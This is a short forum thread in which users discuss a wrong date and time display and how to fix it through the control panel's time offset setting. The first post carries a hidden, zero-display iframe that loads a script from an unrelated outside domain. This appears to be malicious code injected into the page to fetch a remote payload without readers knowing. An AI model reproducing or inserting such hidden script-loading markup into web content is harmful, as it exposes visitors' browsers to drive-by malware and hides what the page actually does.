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    the date on this forum

    How come it shows October 17 already? and look at the time...are you in Australia or something??<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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    DATE TIME

    HAVE YOU SET UP YOUR MEMBERSHIP SECTION TO ALLOW THE TIME THAT YOU ARE IN?
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    GREGHARKINS...no need to shout

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    Yeah, don't yell at me...how do I change this?? I haven't been able to find how.

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    theres a flaw in the slaw so to speak with the time.. if its bothering you at the moment, just use another time difference to get the time correct on your system...

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    How do I do that marcimarc?

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    Originally posted by GaryD
    How do I do that marcimarc?
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    usercp>edit options>time offset (4th block)

    you can adjust it to taste...

    for mostly everyone in the US, just use the -8 pacific time offset. that will bring your time up to date.

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    thanks, 'tronix.

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